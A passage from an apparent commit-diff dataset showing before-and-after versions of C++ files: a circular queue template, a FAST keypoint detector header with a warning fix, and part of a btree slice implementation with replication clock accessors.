});\n}\n\n#endif \/* Queue_cpp *\/\n<commit_msg>Update Queue.cpp<commit_after>\/\/\n\/\/  Queue.cpp\n\/\/  Queue\n\/\/\n\/\/  Created by Sunil on 2\/23\/17.\n\/\/  Copyright © 2017 Sunil. All rights reserved.\n\/\/\n\n#ifndef Queue_cpp\n#define Queue_cpp\n\n#include \"Queue.hpp\"\n\n#include <iostream>\n\nusing namespace std;\n\ntemplate<typename T>\nQueue<T>::Queue() {\n    reset();\n}\n\ntemplate<typename T>\nQueue<T>::~Queue() {\n    head = 0;\n    tail = 0;\n    filled = 0;\n    container = nullptr;\n}\n\ntemplate<typename T>\nQueue<T>::Queue(Queue<T>& queue) : Queue() {\n    auto elements = queue.container.get();\n    \n    int index = 0;\n    while(index < queue.filled) {\n        Enqueue(elements[index++]);\n    }\n}\n\ntemplate<typename T>\nQueue<T>::Queue(Queue<T>&& queue) {\n    container = std::move(queue.container);\n    filled = queue.filled;\n    head = queue.head;\n    tail = queue.tail;\n\n    queue.head = 0;\n    queue.tail = 0;\n    queue.filled = 0;\n    queue.container = nullptr;\n}\n\ntemplate<typename T>\ntypename Queue<T>::ElementType Queue<T>::Dequeue() {\n    if(isEmpty()) {\n        throw \"Queue is empty\";\n    }\n    \n    auto value = container.get()[head];\n    head = (head+1)%capacity;\n    filled--;\n    return value;\n}\n\ntemplate<typename T>\nvoid Queue<T>::Enqueue(ElementType value) {\n    if (isFull()) {\n        throw \"Queue is full\";\n    }\n    \n    container.get()[tail] = value;\n    tail = (tail+1)%capacity;\n    filled++;\n}\n\ntemplate<typename T>\nbool Queue<T>::isEmpty() {\n    return filled == 0;\n}\n\ntemplate<typename T>\nbool Queue<T>::isFull() {\n    return filled == capacity;\n}\n\ntemplate<typename T>\nvoid Queue<T>::reset() {\n    head = 0;\n    tail = 0;\n    filled = 0;\n    \n    container =\n    std::unique_ptr<ElementType, std::function<void(ElementPtr)>>(new ElementType[capacity], [](ElementPtr ptr) {\n        cout << \"deleting array of \" << typeid(T).name() << endl;\n        delete[] ptr;\n    });\n}\n\n#endif \/* Queue_cpp *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * fast.hpp\n *\n *  Created on: Oct 6, 2014\n *      Author: Michal Busta\n *\/\n#ifndef CMP_FAST_HPP_\n#define CMP_FAST_HPP_\n\n#include \"KeyPoints.h\"\n#include <unordered_map>\n#include <vector>\n#include <map>\n\nnamespace cmp{\n\ninline long ColourDistance(const uchar* e1, const uchar* e2)\n{\n\tint ur1 = e1[2];\n\tint ur2 = e2[2];\n\tlong rmean = (  ur1 + ur2 ) \/ 2;\n\tlong r = ur1 - ur2;\n\tint ug1 = e1[1];\n\tint ug2 = e2[1];\n\tlong g = ug1 - ug2;\n\tint ub1 = e1[0];\n\tint ub2 = e2[0];\n\tlong b = ub1 - ub2;\n\treturn (((512+rmean)*r*r)>>8) + 4*g*g + (((767-rmean)*b*b)>>8);\n}\n\ninline long ColourDistanceMAX(const uchar* e1, const uchar* e2, uchar& sign)\n{\n\tint d1 = e1[0] - (int) e2[0];\n\tint ad1 = abs(d1);\n\tint d2 = e1[0] - (int) e2[0];\n\tint ad2 = abs(d2);\n\tint d3 = e1[0] - (int) e2[0];\n\tint ad3 = abs(d3);\n\tif(ad1 > ad2)\n\t{\n\t\tif(ad1 > ad3)\n\t\t{\n\t\t\tsign = d1 > 0;\n\t\t\treturn ad1;\n\t\t}\n\t\tsign = d3 > 0;\n\t\treturn ad3;\n\t}else\n\t{\n\t\tif(ad2 > ad3)\n\t\t{\n\t\t\tsign = d2 > 0;\n\t\t\treturn ad2;\n\t\t}\n\t\tsign = d3 > 0;\n\t\treturn ad3;\n\t}\n}\n\ninline long ColourDistanceVec(const cv::Vec3b& e1, const cv::Vec3b& e2)\n{\n\tint ur1 = e1[2];\n\tint ur2 = e2[2];\n\tlong rmean = (  ur1 + ur2 ) \/ 2;\n\tlong r = ur1 - ur2;\n\tint ug1 = e1[1];\n\tint ug2 = e2[1];\n\tlong g = ug1 - ug2;\n\tint ub1 = e1[0];\n\tint ub2 = e2[0];\n\tlong b = ub1 - ub2;\n\treturn (((512+rmean)*r*r)>>8) + 4*g*g + (((767-rmean)*b*b)>>8);\n}\n\ninline long ColourDistanceGray(const uchar& e1, const uchar& e2)\n{\n\treturn e2 - e1;\n}\n\ntemplate<int channel>\ninline long ColourDistanceRGB(const cv::Vec3b& e1, const cv::Vec3b& e2)\n{\n\treturn e2[channel] - e1[channel];\n}\n\ntemplate<int channel>\ninline long ColourDistanceRGBP(const uchar& e1, const uchar& e2)\n{\n\treturn (&e2)[channel] - (&e1)[channel];\n}\n\ntemplate<int channel>\ninline long ColourDistanceRGBIP(const uchar& e1, const uchar& e2)\n{\n\treturn (&e1)[channel] - (&e2)[channel];\n}\n\ninline long ColourDistanceGrayABS(const uchar* e1, const uchar* e2)\n{\n\treturn abs(((int) *e2) - *e1);\n}\n\ninline long ColourDistanceGrayP(const uchar* e1, const uchar* e2)\n{\n\treturn (*e2 - *e1);\n}\n\ninline long ColourDistanceGrayI(const uchar& e1, const uchar& e2)\n{\n\treturn e1 - e2;\n}\n\ntemplate<int channel>\ninline long ColourDistanceRGBI(const cv::Vec3b& e1, const cv::Vec3b& e2)\n{\n\treturn (e1)[channel] - (e2)[channel];\n}\n\ninline long ColourDistanceGrayIP(const uchar* e1, const uchar* e2)\n{\n\treturn ( *e1 - *e2);\n}\n\ninline long ColourDistanceGrayNorm(const uchar* e1, const uchar* e2)\n{\n\tint ur1 = e1[0];\n\tint ur2 = e2[0];\n\tlong rmean = (  ur1 + ur2 ) \/ 2;\n\tlong r = ur1 - ur2;\n\treturn (((512+rmean)*r*r)>>8);\n}\n\ninline int getValueCorner12(const uchar * ptr, int* pixel, int* corners, const int& k, const int& ks, const uchar& (*dist)(const uchar&, const uchar&) )\n{\n\tint x = ptr[pixel[k]];\n\n\tif( k == 3 && ks != 2 && ks != 3 ){\n\t\tx = dist(x, ptr[corners[0]]);\n\t}else if(k == 5 && ks != 4 && ks != 5){\n\t\tx = dist(x, ptr[corners[1]]);\n\t}else if(k == 8 && ks != 7 && ks != 8){\n\t\tx = dist(x, ptr[corners[2]]);\n\t}else if(k == 11 && ks != 11){\n\t\tx = dist(x, ptr[corners[3]]);\n\t}\n\n\treturn x;\n}\n\ninline void getCrossCorner12(const uchar * ptr, int* corners, int* cornersOut, const int& k, int& k1, int& k2, const uchar& (*dist)(const uchar&, const uchar&) )\n{\n\tswitch(k){\n\tcase 0:\n\tcase 1:\n\tcase 11:\n\t\tk1 = dist(ptr[cornersOut[1]], ptr[corners[1]]);\n\t\tk2 = dist(ptr[cornersOut[2]], ptr[corners[2]]);\n\t\tbreak;\n\tcase 2:\n\tcase 3:\n\tcase 4:\n\t\tk1 = dist(ptr[cornersOut[2]], ptr[corners[2]]);\n\t\tk2 = dist(ptr[cornersOut[3]], ptr[corners[3]]);\n\t\tbreak;\n\tcase 5:\n\tcase 6:\n\tcase 7:\n\t\tk1 = dist(ptr[cornersOut[0]], ptr[corners[0]]);\n\t\tk2 = dist(ptr[cornersOut[3]], ptr[corners[3]]);\n\t\tbreak;\n\tcase 8:\n\tcase 9:\n\tcase 10:\n\t\tk1 = dist(ptr[cornersOut[0]], ptr[corners[0]]);\n\t\tk2 = dist(ptr[cornersOut[1]], ptr[corners[1]]);\n\t\tbreak;\n\t}\n}\n\n\nclass CV_EXPORTS_W FastFeatureDetectorC\n{\npublic:\n\n\tenum\n\t{\n\t\tKEY_POINTS_BLACK = 0, KEY_POINTS_WHITE = 1, KEY_POINTS_ALL = 3\n\t};\n\n    CV_WRAP FastFeatureDetectorC( long threshold = 10, bool nonmaxSuppression=true, int keypointsTypes = KEY_POINTS_ALL, int Kmin = 9, int Kmax = 11);\n\n    virtual ~FastFeatureDetectorC(){\n\n    };\n\n    void detect( const cv::Mat& image, std::vector<FastKeyPoint>& keypoints, const cv::Mat& mask ) const\n    {\n        keypoints.clear();\n\n        if( image.empty() )\n            return;\n\n        CV_Assert( mask.empty() || (mask.type() == CV_8UC1 && mask.size() == image.size()) );\n        detectImpl( image, keypoints, mask );\n    }\n\n    void segment( const cv::Mat& image, std::vector<FastKeyPoint>& keypoints, std::unordered_multimap<int, std::pair<int, int> >& keypointsPixels, const cv::Mat& mask ) const\n    {\n    \tkeypoints.clear();\n\n    \tif( image.empty() )\n    \t\treturn;\n\n    \tCV_Assert( mask.empty() || (mask.type() == CV_8UC1 && mask.size() == image.size()) );\n    \tsegmentImpl( image, keypoints, keypointsPixels, mask );\n    }\n\n    virtual bool isColorDetector(){\n    \treturn false;\n    }\n\n    void setThreshold(long threshold){\n    \tthis->threshold = threshold;\n    }\n\n    void setKeypointsTypes(int keypointsTypes){\n    \tthis->keypointsTypes = keypointsTypes;\n    }\n\nprotected:\n\n    virtual void detectImpl( const cv::Mat& image, std::vector<FastKeyPoint>& keypoints, const cv::Mat& mask=cv::Mat() ) const = 0;\n\n    virtual void segmentImpl( const cv::Mat& image, std::vector<FastKeyPoint>& keypoints,  std::unordered_multimap<int, std::pair<int, int> >& keypointsPixels, const cv::Mat& mask=cv::Mat() ) const\n    {\n    \tdetectImpl( image, keypoints, mask);\n    }\n\n    long threshold;\n    bool nonmaxSuppression;\n    int Kmin;\n    int Kmax;\n\n    int keypointsTypes;\n\n    std::vector<std::vector<float> > fastAngles;\n};\n\n\/**\n * Gray level Fast Feature detector\n *\/\nclass CV_EXPORTS_W FASTextGray : public FastFeatureDetectorC\n{\npublic:\n\n    CV_WRAP FASTextGray( long threshold=10, bool nonmaxSuppression=true, int keypointsTypes = KEY_POINTS_ALL, int Kmin = 9, int Kmax = 11);\n\n    virtual ~FASTextGray(){\n\n    };\n\nprotected:\n\n    virtual void detectImpl( const cv::Mat& image, std::vector<FastKeyPoint>& keypoints, const cv::Mat& mask=cv::Mat() ) const;\n};\n\n}\/\/namespace cmp;\n\n#endif \/* FAST_HPP_ *\/\n<commit_msg>Fix warnings in FASTex.hpp<commit_after>\/*\n * fast.hpp\n *\n *  Created on: Oct 6, 2014\n *      Author: Michal Busta\n *\/\n#ifndef CMP_FAST_HPP_\n#define CMP_FAST_HPP_\n\n#include \"KeyPoints.h\"\n#include <unordered_map>\n#include <vector>\n#include <map>\n\nnamespace cmp{\n\ninline long ColourDistance(const uchar* e1, const uchar* e2)\n{\n\tint ur1 = e1[2];\n\tint ur2 = e2[2];\n\tlong rmean = (  ur1 + ur2 ) \/ 2;\n\tlong r = ur1 - ur2;\n\tint ug1 = e1[1];\n\tint ug2 = e2[1];\n\tlong g = ug1 - ug2;\n\tint ub1 = e1[0];\n\tint ub2 = e2[0];\n\tlong b = ub1 - ub2;\n\treturn (((512+rmean)*r*r)>>8) + 4*g*g + (((767-rmean)*b*b)>>8);\n}\n\ninline long ColourDistanceMAX(const uchar* e1, const uchar* e2, uchar& sign)\n{\n\tint d1 = e1[0] - (int) e2[0];\n\tint ad1 = abs(d1);\n\tint d2 = e1[0] - (int) e2[0];\n\tint ad2 = abs(d2);\n\tint d3 = e1[0] - (int) e2[0];\n\tint ad3 = abs(d3);\n\tif(ad1 > ad2)\n\t{\n\t\tif(ad1 > ad3)\n\t\t{\n\t\t\tsign = d1 > 0;\n\t\t\treturn ad1;\n\t\t}\n\t\tsign = d3 > 0;\n\t\treturn ad3;\n\t}else\n\t{\n\t\tif(ad2 > ad3)\n\t\t{\n\t\t\tsign = d2 > 0;\n\t\t\treturn ad2;\n\t\t}\n\t\tsign = d3 > 0;\n\t\treturn ad3;\n\t}\n}\n\ninline long ColourDistanceVec(const cv::Vec3b& e1, const cv::Vec3b& e2)\n{\n\tint ur1 = e1[2];\n\tint ur2 = e2[2];\n\tlong rmean = (  ur1 + ur2 ) \/ 2;\n\tlong r = ur1 - ur2;\n\tint ug1 = e1[1];\n\tint ug2 = e2[1];\n\tlong g = ug1 - ug2;\n\tint ub1 = e1[0];\n\tint ub2 = e2[0];\n\tlong b = ub1 - ub2;\n\treturn (((512+rmean)*r*r)>>8) + 4*g*g + (((767-rmean)*b*b)>>8);\n}\n\ninline long ColourDistanceGray(const uchar& e1, const uchar& e2)\n{\n\treturn e2 - e1;\n}\n\ntemplate<int channel>\ninline long ColourDistanceRGB(const cv::Vec3b& e1, const cv::Vec3b& e2)\n{\n\treturn e2[channel] - e1[channel];\n}\n\ntemplate<int channel>\ninline long ColourDistanceRGBP(const uchar& e1, const uchar& e2)\n{\n\treturn (&e2)[channel] - (&e1)[channel];\n}\n\ntemplate<int channel>\ninline long ColourDistanceRGBIP(const uchar& e1, const uchar& e2)\n{\n\treturn (&e1)[channel] - (&e2)[channel];\n}\n\ninline long ColourDistanceGrayABS(const uchar* e1, const uchar* e2)\n{\n\treturn abs(((int) *e2) - *e1);\n}\n\ninline long ColourDistanceGrayP(const uchar* e1, const uchar* e2)\n{\n\treturn (*e2 - *e1);\n}\n\ninline long ColourDistanceGrayI(const uchar& e1, const uchar& e2)\n{\n\treturn e1 - e2;\n}\n\ntemplate<int channel>\ninline long ColourDistanceRGBI(const cv::Vec3b& e1, const cv::Vec3b& e2)\n{\n\treturn (e1)[channel] - (e2)[channel];\n}\n\ninline long ColourDistanceGrayIP(const uchar* e1, const uchar* e2)\n{\n\treturn ( *e1 - *e2);\n}\n\ninline long ColourDistanceGrayNorm(const uchar* e1, const uchar* e2)\n{\n\tint ur1 = e1[0];\n\tint ur2 = e2[0];\n\tlong rmean = (  ur1 + ur2 ) \/ 2;\n\tlong r = ur1 - ur2;\n\treturn (((512+rmean)*r*r)>>8);\n}\n\ninline int getValueCorner12(const uchar * ptr, int* pixel, int* corners, const int& k, const int& ks, const uchar& (*dist)(const uchar&, const uchar&) )\n{\n\tuchar x = ptr[pixel[k]];\n\n\tif( k == 3 && ks != 2 && ks != 3 ){\n\t\tx = dist(x, ptr[corners[0]]);\n\t}else if(k == 5 && ks != 4 && ks != 5){\n\t\tx = dist(x, ptr[corners[1]]);\n\t}else if(k == 8 && ks != 7 && ks != 8){\n\t\tx = dist(x, ptr[corners[2]]);\n\t}else if(k == 11 && ks != 11){\n\t\tx = dist(x, ptr[corners[3]]);\n\t}\n\n\treturn x;\n}\n\ninline void getCrossCorner12(const uchar * ptr, int* corners, int* cornersOut, const int& k, int& k1, int& k2, const uchar& (*dist)(const uchar&, const uchar&) )\n{\n\tswitch(k){\n\tcase 0:\n\tcase 1:\n\tcase 11:\n\t\tk1 = dist(ptr[cornersOut[1]], ptr[corners[1]]);\n\t\tk2 = dist(ptr[cornersOut[2]], ptr[corners[2]]);\n\t\tbreak;\n\tcase 2:\n\tcase 3:\n\tcase 4:\n\t\tk1 = dist(ptr[cornersOut[2]], ptr[corners[2]]);\n\t\tk2 = dist(ptr[cornersOut[3]], ptr[corners[3]]);\n\t\tbreak;\n\tcase 5:\n\tcase 6:\n\tcase 7:\n\t\tk1 = dist(ptr[cornersOut[0]], ptr[corners[0]]);\n\t\tk2 = dist(ptr[cornersOut[3]], ptr[corners[3]]);\n\t\tbreak;\n\tcase 8:\n\tcase 9:\n\tcase 10:\n\t\tk1 = dist(ptr[cornersOut[0]], ptr[corners[0]]);\n\t\tk2 = dist(ptr[cornersOut[1]], ptr[corners[1]]);\n\t\tbreak;\n\t}\n}\n\n\nclass CV_EXPORTS_W FastFeatureDetectorC\n{\npublic:\n\n\tenum\n\t{\n\t\tKEY_POINTS_BLACK = 0, KEY_POINTS_WHITE = 1, KEY_POINTS_ALL = 3\n\t};\n\n    CV_WRAP FastFeatureDetectorC( long threshold = 10, bool nonmaxSuppression=true, int keypointsTypes = KEY_POINTS_ALL, int Kmin = 9, int Kmax = 11);\n\n    virtual ~FastFeatureDetectorC(){\n\n    };\n\n    void detect( const cv::Mat& image, std::vector<FastKeyPoint>& keypoints, const cv::Mat& mask ) const\n    {\n        keypoints.clear();\n\n        if( image.empty() )\n            return;\n\n        CV_Assert( mask.empty() || (mask.type() == CV_8UC1 && mask.size() == image.size()) );\n        detectImpl( image, keypoints, mask );\n    }\n\n    void segment( const cv::Mat& image, std::vector<FastKeyPoint>& keypoints, std::unordered_multimap<int, std::pair<int, int> >& keypointsPixels, const cv::Mat& mask ) const\n    {\n    \tkeypoints.clear();\n\n    \tif( image.empty() )\n    \t\treturn;\n\n    \tCV_Assert( mask.empty() || (mask.type() == CV_8UC1 && mask.size() == image.size()) );\n    \tsegmentImpl( image, keypoints, keypointsPixels, mask );\n    }\n\n    virtual bool isColorDetector(){\n    \treturn false;\n    }\n\n    void setThreshold(long threshold_){\n        this->threshold = threshold_;\n    }\n\n    void setKeypointsTypes(int keypointsTypes_){\n        this->keypointsTypes = keypointsTypes_;\n    }\n\nprotected:\n\n    virtual void detectImpl( const cv::Mat& image, std::vector<FastKeyPoint>& keypoints, const cv::Mat& mask=cv::Mat() ) const = 0;\n\n    virtual void segmentImpl( const cv::Mat& image, std::vector<FastKeyPoint>& keypoints,  std::unordered_multimap<int, std::pair<int, int> >&, const cv::Mat& mask=cv::Mat() ) const\n    {\n    \tdetectImpl( image, keypoints, mask);\n    }\n\n    long threshold;\n    bool nonmaxSuppression;\n    int Kmin;\n    int Kmax;\n\n    int keypointsTypes;\n\n    std::vector<std::vector<float> > fastAngles;\n};\n\n\/**\n * Gray level Fast Feature detector\n *\/\nclass CV_EXPORTS_W FASTextGray : public FastFeatureDetectorC\n{\npublic:\n\n    CV_WRAP FASTextGray( long threshold=10, bool nonmaxSuppression=true, int keypointsTypes = KEY_POINTS_ALL, int Kmin = 9, int Kmax = 11);\n\n    virtual ~FASTextGray(){\n\n    };\n\nprotected:\n\n    virtual void detectImpl( const cv::Mat& image, std::vector<FastKeyPoint>& keypoints, const cv::Mat& mask=cv::Mat() ) const;\n};\n\n}\/\/namespace cmp;\n\n#endif \/* FAST_HPP_ *\/\n<|endoftext|>"}
{"text":"<commit_before>#include <boost\/scoped_ptr.hpp>\n\n#include \"errors.hpp\"\n#include \"btree\/backfill.hpp\"\n#include \"btree\/delete_all_keys.hpp\"\n#include \"btree\/slice.hpp\"\n#include \"btree\/node.hpp\"\n#include \"buffer_cache\/transactor.hpp\"\n#include \"buffer_cache\/buf_lock.hpp\"\n#include \"concurrency\/cond_var.hpp\"\n#include \"btree\/get.hpp\"\n#include \"btree\/rget.hpp\"\n#include \"btree\/set.hpp\"\n#include \"btree\/incr_decr.hpp\"\n#include \"btree\/append_prepend.hpp\"\n#include \"btree\/delete.hpp\"\n#include \"btree\/get_cas.hpp\"\n#include \"replication\/delete_queue.hpp\"\n#include \"replication\/master.hpp\"\n\nvoid btree_slice_t::create(translator_serializer_t *serializer,\n                           mirrored_cache_static_config_t *static_config) {\n    cache_t::create(serializer, static_config);\n\n    \/* Construct a cache so we can write the superblock *\/\n\n    \/* The values we pass here are almost totally irrelevant. The cache-size parameter must\n    be big enough to hold the patch log so we don't trip an assert, though. *\/\n    mirrored_cache_config_t startup_dynamic_config;\n    int size = static_config->n_patch_log_blocks * serializer->get_block_size().ser_value() + MEGABYTE;\n    startup_dynamic_config.max_size = size * 2;\n    startup_dynamic_config.wait_for_flush = false;\n    startup_dynamic_config.flush_timer_ms = NEVER_FLUSH;\n    startup_dynamic_config.max_dirty_size = size;\n    startup_dynamic_config.flush_dirty_size = size;\n    startup_dynamic_config.flush_waiting_threshold = INT_MAX;\n    startup_dynamic_config.max_concurrent_flushes = 1;\n    startup_dynamic_config.io_priority_reads = 100;\n    startup_dynamic_config.io_priority_writes = 100;\n\n    thread_saver_t saver;\n\n    \/* Cache is in a scoped pointer because it may be too big to allocate on the coroutine stack *\/\n    boost::scoped_ptr<cache_t> cache(new cache_t(serializer, &startup_dynamic_config));\n\n    \/* Initialize the btree superblock and the delete queue *\/\n    boost::shared_ptr<transactor_t> txor(new transactor_t(saver, cache.get(), rwi_write, 1, repli_timestamp_t::distant_past()));\n\n    buf_lock_t superblock(saver, *txor, SUPERBLOCK_ID, rwi_write);\n\n    \/\/ Initialize replication time barrier to 0 so that if we are a slave, we will begin by pulling\n    \/\/ ALL updates from master.\n    superblock->touch_recency(repli_timestamp_t::distant_past());\n\n    btree_superblock_t *sb = reinterpret_cast<btree_superblock_t *>(superblock->get_data_major_write());\n    bzero(sb, cache->get_block_size().value());\n\n    sb->magic = btree_superblock_t::expected_magic;\n    sb->root_block = NULL_BLOCK_ID;\n\n    \/\/ Allocate sb->delete_queue_block like an ordinary block.\n    buf_lock_t delete_queue_block;\n    delete_queue_block.allocate(saver, *txor);\n    replication::delete_queue_block_t *dqb = reinterpret_cast<replication::delete_queue_block_t *>(delete_queue_block->get_data_major_write());\n    initialize_empty_delete_queue(txor, dqb, serializer->get_block_size());\n    sb->delete_queue_block = delete_queue_block->get_block_id();\n\n    sb->replication_clock = sb->last_sync = repli_timestamp_t::distant_past();\n    sb->replication_master_id = sb->replication_slave_id = 0;\n}\n\nbtree_slice_t::btree_slice_t(translator_serializer_t *serializer,\n                             mirrored_cache_config_t *dynamic_config,\n                             int64_t delete_queue_limit,\n                             const std::string& informal_name)\n    : cache_(serializer, dynamic_config), delete_queue_limit_(delete_queue_limit), informal_name_(informal_name) { }\n\nbtree_slice_t::~btree_slice_t() {\n    \/\/ Cache's destructor handles flushing and stuff\n}\n\nget_result_t btree_slice_t::get(const store_key_t &key, UNUSED order_token_t token) {\n    on_thread_t th(home_thread);\n    order_sink_.check_out(token);\n    return btree_get(key, this, token);\n}\n\nrget_result_t btree_slice_t::rget(rget_bound_mode_t left_mode, const store_key_t &left_key, rget_bound_mode_t right_mode, const store_key_t &right_key, UNUSED order_token_t token) {\n    on_thread_t th(home_thread);\n    order_sink_.check_out(token);\n    return btree_rget_slice(this, left_mode, left_key, right_mode, right_key, token);\n}\n\nstruct btree_slice_change_visitor_t : public boost::static_visitor<mutation_result_t> {\n    mutation_result_t operator()(const get_cas_mutation_t &m) {\n        return btree_get_cas(m.key, parent, ct, order_token);\n    }\n    mutation_result_t operator()(const sarc_mutation_t &m) {\n        return btree_set(m.key, parent, m.data, m.flags, m.exptime, m.add_policy, m.replace_policy, m.old_cas, ct, order_token);\n    }\n    mutation_result_t operator()(const incr_decr_mutation_t &m) {\n        return btree_incr_decr(m.key, parent, (m.kind == incr_decr_INCR), m.amount, ct, order_token);\n    }\n    mutation_result_t operator()(const append_prepend_mutation_t &m) {\n        return btree_append_prepend(m.key, parent, m.data, (m.kind == append_prepend_APPEND), ct, order_token);\n    }\n    mutation_result_t operator()(const delete_mutation_t &m) {\n        return btree_delete(m.key, m.dont_put_in_delete_queue, parent, ct.timestamp, order_token);\n    }\n\n    btree_slice_t *parent;\n    castime_t ct;\n    order_token_t order_token;\n};\n\nmutation_result_t btree_slice_t::change(const mutation_t &m, castime_t castime, UNUSED order_token_t token) {\n    \/\/ HEY: Honestly this is weird, we should already be on the home\n    \/\/ thread in all situations I can think of.\n    on_thread_t th(home_thread);\n\n    order_sink_.check_out(token);\n\n    btree_slice_change_visitor_t functor;\n    functor.parent = this;\n    functor.ct = castime;\n    functor.order_token = token;\n    return boost::apply_visitor(functor, m.mutation);\n}\n\nvoid btree_slice_t::delete_all_keys_for_backfill() {\n    on_thread_t th(home_thread);\n\n    btree_delete_all_keys_for_backfill(this);\n}\n\nvoid btree_slice_t::backfill(repli_timestamp since_when, backfill_callback_t *callback) {\n    on_thread_t th(home_thread);\n    btree_backfill(this, since_when, callback);\n}\n\n\/* TODO: Storing replication clocks and last-sync information like this is kind of ugly because\nit's an abstraction break, which means it might not fit with clustering.\n\nThese functions are intentionally verbose because they shouldn't exist at all. The code\nduplication is a protest against how horrible it is to have this data stored here. *\/\n\nvoid btree_slice_t::set_replication_clock(repli_timestamp_t t) {\n    \/\/ Having saver before an on_thread_t means the saver's destructor\n    \/\/ is a no-op, because the on_thread_t's destructor runs right\n    \/\/ before it.\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_write, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_write);\n    btree_superblock_t *sb = reinterpret_cast<btree_superblock_t *>(superblock->get_data_major_write());\n    sb->replication_clock = t;\n}\n\nrepli_timestamp btree_slice_t::get_replication_clock() {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_read, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_read);\n    const btree_superblock_t *sb = reinterpret_cast<const btree_superblock_t *>(superblock->get_data_read());\n    return sb->replication_clock;\n}\n\nvoid btree_slice_t::set_last_sync(repli_timestamp_t t) {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_write, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_write);\n    btree_superblock_t *sb = reinterpret_cast<btree_superblock_t *>(superblock->get_data_major_write());\n    sb->last_sync = t;\n}\n\nrepli_timestamp btree_slice_t::get_last_sync() {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_read, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_read);\n    const btree_superblock_t *sb = reinterpret_cast<const btree_superblock_t *>(superblock->get_data_read());\n    return sb->last_sync;\n}\n\nvoid btree_slice_t::set_replication_master_id(uint32_t t) {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_write, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_write);\n    btree_superblock_t *sb = reinterpret_cast<btree_superblock_t *>(superblock->get_data_major_write());\n    sb->replication_master_id = t;\n}\n\nuint32_t btree_slice_t::get_replication_master_id() {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_read, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_read);\n    const btree_superblock_t *sb = reinterpret_cast<const btree_superblock_t *>(superblock->get_data_read());\n    return sb->replication_master_id;\n}\n\nvoid btree_slice_t::set_replication_slave_id(uint32_t t) {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_write, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_write);\n    btree_superblock_t *sb = reinterpret_cast<btree_superblock_t *>(superblock->get_data_major_write());\n    sb->replication_slave_id = t;\n}\n\nuint32_t btree_slice_t::get_replication_slave_id() {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_read, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_read);\n    const btree_superblock_t *sb = reinterpret_cast<const btree_superblock_t *>(superblock->get_data_read());\n    return sb->replication_slave_id;\n}\n\n<commit_msg>Changed on_thread_t in btree_slice_t::backfill to assert_thread.<commit_after>#include <boost\/scoped_ptr.hpp>\n\n#include \"errors.hpp\"\n#include \"btree\/backfill.hpp\"\n#include \"btree\/delete_all_keys.hpp\"\n#include \"btree\/slice.hpp\"\n#include \"btree\/node.hpp\"\n#include \"buffer_cache\/transactor.hpp\"\n#include \"buffer_cache\/buf_lock.hpp\"\n#include \"concurrency\/cond_var.hpp\"\n#include \"btree\/get.hpp\"\n#include \"btree\/rget.hpp\"\n#include \"btree\/set.hpp\"\n#include \"btree\/incr_decr.hpp\"\n#include \"btree\/append_prepend.hpp\"\n#include \"btree\/delete.hpp\"\n#include \"btree\/get_cas.hpp\"\n#include \"replication\/delete_queue.hpp\"\n#include \"replication\/master.hpp\"\n\nvoid btree_slice_t::create(translator_serializer_t *serializer,\n                           mirrored_cache_static_config_t *static_config) {\n    cache_t::create(serializer, static_config);\n\n    \/* Construct a cache so we can write the superblock *\/\n\n    \/* The values we pass here are almost totally irrelevant. The cache-size parameter must\n    be big enough to hold the patch log so we don't trip an assert, though. *\/\n    mirrored_cache_config_t startup_dynamic_config;\n    int size = static_config->n_patch_log_blocks * serializer->get_block_size().ser_value() + MEGABYTE;\n    startup_dynamic_config.max_size = size * 2;\n    startup_dynamic_config.wait_for_flush = false;\n    startup_dynamic_config.flush_timer_ms = NEVER_FLUSH;\n    startup_dynamic_config.max_dirty_size = size;\n    startup_dynamic_config.flush_dirty_size = size;\n    startup_dynamic_config.flush_waiting_threshold = INT_MAX;\n    startup_dynamic_config.max_concurrent_flushes = 1;\n    startup_dynamic_config.io_priority_reads = 100;\n    startup_dynamic_config.io_priority_writes = 100;\n\n    thread_saver_t saver;\n\n    \/* Cache is in a scoped pointer because it may be too big to allocate on the coroutine stack *\/\n    boost::scoped_ptr<cache_t> cache(new cache_t(serializer, &startup_dynamic_config));\n\n    \/* Initialize the btree superblock and the delete queue *\/\n    boost::shared_ptr<transactor_t> txor(new transactor_t(saver, cache.get(), rwi_write, 1, repli_timestamp_t::distant_past()));\n\n    buf_lock_t superblock(saver, *txor, SUPERBLOCK_ID, rwi_write);\n\n    \/\/ Initialize replication time barrier to 0 so that if we are a slave, we will begin by pulling\n    \/\/ ALL updates from master.\n    superblock->touch_recency(repli_timestamp_t::distant_past());\n\n    btree_superblock_t *sb = reinterpret_cast<btree_superblock_t *>(superblock->get_data_major_write());\n    bzero(sb, cache->get_block_size().value());\n\n    sb->magic = btree_superblock_t::expected_magic;\n    sb->root_block = NULL_BLOCK_ID;\n\n    \/\/ Allocate sb->delete_queue_block like an ordinary block.\n    buf_lock_t delete_queue_block;\n    